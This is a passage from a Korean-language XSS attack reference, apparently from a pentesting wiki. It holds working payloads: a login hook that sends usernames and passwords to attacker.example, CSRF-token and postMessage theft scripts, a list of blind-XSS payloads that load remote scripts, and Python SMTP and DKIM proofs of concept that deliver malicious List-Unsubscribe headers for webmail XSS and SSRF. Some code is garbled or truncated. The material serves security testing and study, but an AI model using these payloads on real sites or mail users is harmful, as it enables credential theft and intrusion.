method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

๋น„๋ฐ€๋ฒˆํ˜ธ ํ•„๋“œ์— ์–ด๋–ค ๋ฐ์ดํ„ฐ๊ฐ€ ์ž…๋ ฅ๋˜๋ฉด ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์ „์†ก๋œ๋‹ค. ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ €์žฅ๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์„ ํƒํ•˜๊ฑฐ๋‚˜ ์•„๋ฌด๊ฒƒ๋„ ์ž…๋ ฅํ•˜์ง€ ์•Š์•„๋„ ์ž๊ฒฉ ์ฆ๋ช…์ด ์œ ์ถœ๋œ๋‹ค.

ํผ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ๊ฐ€๋กœ์ฑ„ ์ž๊ฒฉ ์ฆ๋ช… ์œ ์ถœ (const shadowing)

ํŽ˜์ด์ง€์—์„œ ์ค‘์š”ํ•œ ํ•ธ๋“ค๋Ÿฌ (e.g., function DoLogin(){...})๊ฐ€ ๋‚˜์ค‘์— ์„ ์–ธ๋˜๊ณ  ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋” ์ผ์ฐ ์‹คํ–‰๋˜๋Š” ๊ฒฝ์šฐ (e.g., via an inline JS-in-JS sink), ๋™์ผํ•œ ์ด๋ฆ„์˜ const๋ฅผ ๋จผ์ € ์ •์˜ํ•˜์—ฌ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์„ ์ ํ•˜๊ณ  ๊ณ ์ •ํ•˜๋ผ. ์ดํ›„์˜ function ์„ ์–ธ์€ const ์ด๋ฆ„์„ ์žฌ๋ฐ”์ธ๋”ฉํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ํ›…์ด ์ œ์–ด๊ถŒ์„ ์œ ์ง€ํ•˜๊ฒŒ ๋œ๋‹ค:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

๋…ธํŠธ

  • ์ด๋Š” ์‹คํ–‰ ์ˆœ์„œ์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค: your injection์€ ์ •๊ทœ ์„ ์–ธ๋ณด๋‹ค ๋จผ์ € ์‹คํ–‰๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๋งŒ์•ฝ your payload๊ฐ€ eval(...)๋กœ ๋ž˜ํ•‘๋˜์–ด ์žˆ๋‹ค๋ฉด, const/let ๋ฐ”์ธ๋”ฉ์€ ์ „์—ญ์ด ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์ง„์ •ํ•œ ์ „์—ญ, ์žฌ๋ฐ”์ธ๋”ฉ ๋ถˆ๊ฐ€๋Šฅํ•œ ๋ฐ”์ธ๋”ฉ์„ ๋ณด์žฅํ•˜๋ ค๋ฉด ์„น์…˜ โ€œDeliverable payloads with eval(atob()) and scope nuancesโ€์˜ ๋™์  <script> injection ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • ํ‚ค์›Œ๋“œ ํ•„ํ„ฐ๊ฐ€ ์ฝ”๋“œ๋ฅผ ์ฐจ๋‹จํ•  ๋•Œ๋Š”, ์œ„์— ๋ณด์ธ ๊ฒƒ์ฒ˜๋Ÿผ Unicode-escaped ์‹๋ณ„์ž ๋˜๋Š” eval(atob('...')) ์ „๋‹ฌ ๋ฐฉ์‹์„ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜์„ธ์š”.

Keylogger

github์—์„œ ๊ฒ€์ƒ‰ํ•ด๋ณด๋‹ˆ ๋ช‡ ๊ฐ€์ง€ ๋‹ค๋ฅธ ๊ฒƒ๋“ค์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage ๋ฉ”์‹œ์ง€ ํƒˆ์ทจ

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

ํŽ˜์ด์ง€๊ฐ€ postMessage๋กœ๋ถ€ํ„ฐ event.origin์„ ์ €์žฅํ•˜๊ณ  ๋‚˜์ค‘์— ์ด๋ฅผ ์Šคํฌ๋ฆฝํŠธ URL์— ์ด์–ด๋ถ™์ด๋ฉด, ๋ฐœ์‹ ์ž๊ฐ€ ๋กœ๋“œ๋œ JS์˜ origin์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: window.opener๊ฐ€ ์กด์žฌํ•˜๊ณ  pixel_id๊ฐ€ allowlisted์ผ ๋•Œ๋งŒ ์‹คํ–‰๋จ; origin์€ ์ „ํ˜€ ์ฒดํฌ๋˜์ง€ ์•Š์Œ.
  • Use CSP-allowed origin: victim CSP์— ์ด๋ฏธ ํ—ˆ์šฉ๋œ ๋„๋ฉ”์ธ์œผ๋กœ pivotํ•˜๊ณ (์˜ˆ: ๋กœ๊ทธ์•„์›ƒ๋œ help ํŽ˜์ด์ง€๋“ค์ด analytics๋ฅผ ํ—ˆ์šฉํ•˜๋Š” *.THIRD-PARTY.com ๊ฐ™์€ ๊ฒฝ์šฐ), takeover/XSS/upload๋กœ ๊ทธ ๋„๋ฉ”์ธ์— /sdk/<pixel_id>/iwl.js๋ฅผ ํ˜ธ์ŠคํŒ….
  • Restore opener: Android WebView์—์„œ window.name='x'; window.open(target,'x')๋Š” ํŽ˜์ด์ง€๋ฅผ ์Šค์Šค๋กœ์˜ opener๋กœ ๋งŒ๋“ฆ; ํ•˜์ด์žฌํ‚น๋œ iframe์—์„œ ์•…์„ฑ postMessage๋ฅผ ๋ณด๋ƒ„.
  • Trigger: iframe์ด {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}๋ฅผ postํ•˜๋ฉด; ๋ถ€๋ชจ๋Š” CSP-allowed origin์—์„œ ๊ณต๊ฒฉ์ž iwl.js๋ฅผ ๋กœ๋“œํ•ด ์‹คํ–‰ํ•จ.

์ด๊ฒƒ์€ origin-less postMessage ๊ฒ€์ฆ์„, ์ •์ฑ…์ƒ ์ด๋ฏธ ํ—ˆ์šฉ๋œ ์•„๋ฌด origin์— ์ฐฉ๋ฅ™ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด CSP๋ฅผ ๊ฒฌ๋ŽŒ๋‚ด๋Š” remote script loader primitive๋กœ ์ „ํ™˜์‹œํ‚จ๋‹ค.

๋ฐฑ์—”๋“œ JS ๋ฌธ์ž์—ด ๊ฒฐํ•ฉ์„ ํ†ตํ•œ ๊ณต๊ธ‰๋ง ์ €์žฅํ˜• XSS

๋ฐฑ์—”๋“œ๊ฐ€ user-controlled ๊ฐ’์„ ํฌํ•จํ•œ JS ๋ฌธ์ž์—ด์„ ์ด์–ด๋ถ™์—ฌ shared SDK๋ฅผ ๋นŒ๋“œํ•  ๋•Œ, ๋”ฐ์˜ดํ‘œ๋‚˜ ๊ตฌ์กฐ๋ฅผ ๊นจ๋Š” ๊ฐ’์€ ๋ชจ๋“  ์†Œ๋น„์ž์—๊ฒŒ ์ œ๊ณต๋˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค:

  • ์˜ˆ์‹œ ํŒจํ„ด (Meta CAPIG): ์„œ๋ฒ„๊ฐ€ cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});๋ฅผ capig-events.js์— ์ง์ ‘ ์ถ”๊ฐ€ํ•จ.
  • ' ๋˜๋Š” "]}๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด ๋ฆฌํ„ฐ๋Ÿด/๊ฐ์ฒด๊ฐ€ ๋‹ซํžˆ๊ณ  ๊ณต๊ฒฉ์ž JS๊ฐ€ ์ถ”๊ฐ€๋˜์–ด, ์ด๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ชจ๋“  ์‚ฌ์ดํŠธ(ํผ์ŠคํŠธ-ํŒŒํ‹ฐ ๋ฐ ์„œ๋“œ-ํŒŒํ‹ฐ)์— ๋Œ€ํ•ด stored XSS๋ฅผ ์ƒ์„ฑํ•จ.

Service Workers ์•…์šฉ

Abusing Service Workers

Shadow DOM ์ ‘๊ทผ

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

You can also use: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - ์ˆจ๊ฒจ์ง„ ์ฝ˜ํ…์ธ  ์ ‘๊ทผ

์ด ๊ธ€์—์„œ ์ผ๋ถ€ ๊ฐ’์ด JS์—์„œ ์‚ฌ๋ผ์ ธ๋„ ๋‹ค๋ฅธ ๊ฐ์ฒด์˜ JS ์†์„ฑ๋“ค์—์„œ๋Š” ์—ฌ์ „ํžˆ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, REGEX ์ž…๋ ฅ ๊ฐ’์ด ์ œ๊ฑฐ๋œ ์ดํ›„์—๋„ ํ•ด๋‹น ์ž…๋ ฅ์€ ์—ฌ์ „ํžˆ ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

XSS๋กœ ๋‹ค๋ฅธ ์ทจ์•ฝ์  ์•…์šฉ

Markdown์—์„œ์˜ XSS

๋ Œ๋”๋ง๋˜๋Š” Markdown ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋‚˜? ์–ด์ฉŒ๋ฉด XSS๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์„์ง€๋„ ๋ชจ๋ฅธ๋‹ค! ํ™•์ธ:

XSS in Markdown

XSS๋ฅผ SSRF๋กœ

์บ์‹ฑ์„ ์‚ฌ์šฉํ•˜๋Š” ์‚ฌ์ดํŠธ์—์„œ XSS๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๋Š”๊ฐ€? Edge Side Include Injection์„ ํ†ตํ•ด ์ด๋ฅผ SSRF๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•ด ๋ณด๋ผ. ๋‹ค์Œ payload:

<esi:include src="http://yoursite.com/capture" />

์ด๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด cookie ์ œํ•œ, XSS ํ•„ํ„ฐ ๋“ฑ์„ ์šฐํšŒํ•˜๊ณ  ๊ทธ ๋ฐ–์˜ ์—ฌ๋Ÿฌ ์šฉ๋„๋กœ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค!
์ด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด: XSLT.

๋™์ ์œผ๋กœ ์ƒ์„ฑ๋œ PDF์˜ XSS

์›น ํŽ˜์ด์ง€๊ฐ€ ์‚ฌ์šฉ์ž ์ œ์–ด ์ž…๋ ฅ์œผ๋กœ PDF๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒฝ์šฐ, PDF ์ƒ์„ฑ bot์„ ์†์—ฌ ์ž„์˜์˜ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ PDF creator bot์ด ์–ด๋–ค ์ข…๋ฅ˜์˜ HTML ํƒœ๊ทธ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ์ด๋ฅผ ํ•ด์„ํ•˜๊ฒŒ ๋˜๊ณ , ์ด ๋™์ž‘์„ ์•…์šฉํ•ด Server XSS๋ฅผ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Server Side XSS (Dynamic PDF)

HTML ํƒœ๊ทธ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์—†๋‹ค๋ฉด inject PDF data๋ฅผ ์‹œ๋„ํ•ด๋ณผ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

PDF Injection

Amp4Email์˜ XSS

AMP๋Š” ๋ชจ๋ฐ”์ผ ๊ธฐ๊ธฐ์—์„œ ์›น ํŽ˜์ด์ง€ ์„ฑ๋Šฅ์„ ๊ฐ€์†ํ™”ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋ฉฐ, ๊ธฐ๋Šฅ์„ ์œ„ํ•ด HTML ํƒœ๊ทธ์™€ JavaScript๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด์„œ ์†๋„์™€ ๋ณด์•ˆ์„ ์ค‘์‹œํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์„ ์œ„ํ•œ ์ปดํฌ๋„ŒํŠธ๋“ค์€ AMP components์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

AMP for Email ํฌ๋งท์€ ํŠน์ • AMP ์ปดํฌ๋„ŒํŠธ๋ฅผ ์ด๋ฉ”์ผ๋กœ ํ™•์žฅํ•˜์—ฌ ์ˆ˜์‹ ์ž๊ฐ€ ์ด๋ฉ”์ผ ์•ˆ์—์„œ ๋ฐ”๋กœ ์ฝ˜ํ…์ธ ์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ์ œ: writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

RFC 2369 List-Unsubscribe ํ—ค๋”๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” URI๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋งŽ์€ ์›น๋ฉ”์ผ ๋ฐ ๋ฉ”์ผ ํด๋ผ์ด์–ธํŠธ๋Š” ์ด๋ฅผ ์ž๋™์œผ๋กœ โ€œUnsubscribeโ€ ๋ฒ„ํŠผ์œผ๋กœ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น URI๊ฐ€ ๊ฒ€์ฆ ์—†์ด ๋ Œ๋”๋ง๋˜๊ฑฐ๋‚˜ ์š”์ฒญ๋  ๊ฒฝ์šฐ, ์ด ํ—ค๋”๋Š” ์ €์žฅ๋œ XSS(์˜ˆ: unsubscribe ๋งํฌ๊ฐ€ DOM์— ์‚ฝ์ž…๋˜๋Š” ๊ฒฝ์šฐ)์™€ SSRF(์˜ˆ: ์„œ๋ฒ„๊ฐ€ ์‚ฌ์šฉ์ž ๋Œ€์‹  unsubscribe ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ)์˜ ์ฃผ์ž… ์ง€์ ์ด ๋ฉ๋‹ˆ๋‹ค.

Stored XSS via javascript: URIs

  1. ํ—ค๋”๊ฐ€ javascript: URI๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ํ•˜๊ณ , ๋‚˜๋จธ์ง€ ๋ฉ”์‹œ์ง€๋Š” ์ŠคํŒธ ํ•„ํ„ฐ์— ๊ฑธ๋ฆฌ์ง€ ์•Š๊ฒŒ ์ •์ƒ์ ์œผ๋กœ ์œ ์ง€ํ•˜์—ฌ ์ž์‹ ์—๊ฒŒ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด์„ธ์š”.
  2. UI๊ฐ€ ํ•ด๋‹น ๊ฐ’์„ ๋ Œ๋”๋งํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”(๋งŽ์€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ โ€œList Infoโ€ ํŒจ๋„์— ํ‘œ์‹œ). ์ƒ์„ฑ๋œ <a> ํƒœ๊ทธ๊ฐ€ href๋‚˜ target ๊ฐ™์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•œ ์†์„ฑ์„ ์ƒ์†ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”.
  3. ๋งํฌ๊ฐ€ target="_blank"๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ ์‹คํ–‰์„ ์œ ๋„ํ•˜์„ธ์š”(์˜ˆ: CTRL+click, middle-click ๋˜๋Š” โ€œopen in new tabโ€). ๋ธŒ๋ผ์šฐ์ €๋Š” ์ œ๊ณต๋œ JavaScript๋ฅผ ์›น๋ฉ”์ผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์˜ค๋ฆฌ์ง„์—์„œ ํ‰๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
  4. ์ €์žฅ๋œ XSS์˜ ๊ธฐ๋ณธ ์›๋ฆฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”: ํŽ˜์ด๋กœ๋“œ๋Š” ์ด๋ฉ”์ผ๊ณผ ํ•จ๊ป˜ ์ง€์†๋˜๋ฉฐ ์‹คํ–‰์„ ์œ„ํ•ด ํด๋ฆญ ํ•˜๋‚˜๋งŒ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI์˜ ๊ฐœํ–‰ ๋ฐ”์ดํŠธ (%0a)๋Š” Horde IMP H5์™€ ๊ฐ™์€ ์ทจ์•ฝํ•œ ํด๋ผ์ด์–ธํŠธ์—์„œ ๋ Œ๋”๋ง ํŒŒ์ดํ”„๋ผ์ธ์„ ๊ฑฐ์น˜๋ฉด์„œ ํŠน์ดํ•œ ๋ฌธ์ž๋„ ๊ทธ๋Œ€๋กœ ๋‚จ์•„ anchor tag ๋‚ด๋ถ€์— ๋ฌธ์ž์—ด์„ ์žˆ๋Š” ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•จ์„ ๋ณด์—ฌ์ค€๋‹ค.

Minimal SMTP PoC that delivers a malicious List-Unsubscribe header ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = โ€œmail.example.orgโ€ smtp_port = 587 smtp_user = โ€œuser@example.orgโ€ smtp_password = โ€œREDACTEDโ€ sender = โ€œlist@example.orgโ€ recipient = โ€œvictim@example.orgโ€

msg = EmailMessage() msg.set_content(โ€œTesting List-Unsubscribe renderingโ€) msg[โ€œFromโ€] = sender msg[โ€œToโ€] = recipient msg[โ€œSubjectโ€] = โ€œNewsletterโ€ msg[โ€œList-Unsubscribeโ€] = โ€œjavascript://evil.tld/%0aconfirm(document.domain)โ€ msg[โ€œList-Unsubscribe-Postโ€] = โ€œList-Unsubscribe=One-Clickโ€

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Server-side ๊ตฌ๋… ํ•ด์ง€ ํ”„๋ก์‹œ -> SSRF

์ผ๋ถ€ ํด๋ผ์ด์–ธํŠธ(์˜ˆ: Nextcloud Mail ์•ฑ)๋Š” unsubscribe ๋™์ž‘์„ server-side์—์„œ ํ”„๋ก์‹œ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค: ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜๋ฉด ์„œ๋ฒ„๊ฐ€ ์ œ๊ณต๋œ URL์„ ์ง์ ‘ ๊ฐ€์ ธ์˜ค๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ํ•ด๋‹น ํ—ค๋”๋Š” SSRF ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ ๋˜๋ฉฐ, ํŠนํžˆ ๊ด€๋ฆฌ์ž๊ฐ€ `'allow_local_remote_servers' => true`๋กœ ์„ค์ •ํ•œ ๊ฒฝ์šฐ(๋ฌธ์„œ๋Š” [HackerOne report 2902856](https://hackerone.com/reports/2902856)์„ ์ฐธ์กฐ), loopback ๋ฐ RFC1918 ๋ฒ”์œ„๋กœ์˜ ์š”์ฒญ์ด ํ—ˆ์šฉ๋ฉ๋‹ˆ๋‹ค.

1. **๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋Œ€์ƒ์œผ๋กœ `List-Unsubscribe` ํ—ค๋”๋ฅผ ํฌํ•จํ•œ ์ด๋ฉ”์ผ์„ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค** (๋ธ”๋ผ์ธ๋“œ SSRF์˜ ๊ฒฝ์šฐ Burp Collaborator / OAST ์‚ฌ์šฉ).
2. **UI์— ์›ํด๋ฆญ ๊ตฌ๋… ํ•ด์ง€ ๋ฒ„ํŠผ์ด ํ‘œ์‹œ๋˜๋„๋ก `List-Unsubscribe-Post: List-Unsubscribe=One-Click`๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค.**
3. **์‹ ๋ขฐ ์š”๊ตฌ์‚ฌํ•ญ์„ ๋งŒ์กฑ์‹œํ‚ต๋‹ˆ๋‹ค**: ์˜ˆ๋ฅผ ๋“ค์–ด Nextcloud๋Š” ๋ฉ”์‹œ์ง€๊ฐ€ DKIM์„ ํ†ต๊ณผํ•  ๋•Œ๋งŒ HTTPS ๊ตฌ๋… ํ•ด์ง€ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ๋„๋ฉ”์ธ์œผ๋กœ ์ด๋ฉ”์ผ์— ์„œ๋ช…ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
4. **๋ฉ”์‹œ์ง€๋ฅผ ๋Œ€์ƒ ์„œ๋ฒ„๊ฐ€ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฉ”์ผ๋ฐ•์Šค๋กœ ๋ฐฐ๋‹ฌํ•˜๊ณ ** ์‚ฌ์šฉ์ž๊ฐ€ ๊ตฌ๋… ํ•ด์ง€ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฝ๋‹ˆ๋‹ค.
5. **collaborator ์—”๋“œํฌ์ธํŠธ์—์„œ server-side ์ฝœ๋ฐฑ์„ ๊ด€์ฐฐํ•œ ๋‹ค์Œ**, ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๊ฐ€ ํ™•์ธ๋˜๋ฉด ๋‚ด๋ถ€ ์ฃผ์†Œ๋กœ ํ”ผ๋ฒ—ํ•ฉ๋‹ˆ๋‹ค.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe ๋ฉ”์‹œ์ง€ (SSRF ํ…Œ์ŠคํŠธ์šฉ) ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = โ€œmail.example.orgโ€ smtp_port = 587 smtp_user = โ€œuser@example.orgโ€ smtp_password = โ€œREDACTEDโ€ dkim_selector = โ€œdefaultโ€ dkim_domain = โ€œexample.orgโ€ dkim_private_key = โ€œโ€โ€œโ€”โ€“BEGIN PRIVATE KEYโ€”โ€“\nโ€ฆ\nโ€”โ€“END PRIVATE KEYโ€”โ€“โ€โ€œโ€

msg = EmailMessage() msg.set_content(โ€œOne-click unsubscribe testโ€) msg[โ€œFromโ€] = โ€œlist@example.orgโ€ msg[โ€œToโ€] = โ€œvictim@example.orgโ€ msg[โ€œSubjectโ€] = โ€œMailing listโ€ msg[โ€œList-Unsubscribeโ€] = โ€œhttp://abcdef.oastify.comโ€ msg[โ€œList-Unsubscribe-Postโ€] = โ€œList-Unsubscribe=One-Clickโ€

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[โ€œFromโ€, โ€œToโ€, โ€œSubjectโ€] ) msg[โ€œDKIM-Signatureโ€] = signature.decode().split(โ€œ: โ€œ, 1)[1].replace(โ€\rโ€œ, โ€œโ€).replace(โ€œ\nโ€, โ€œโ€)

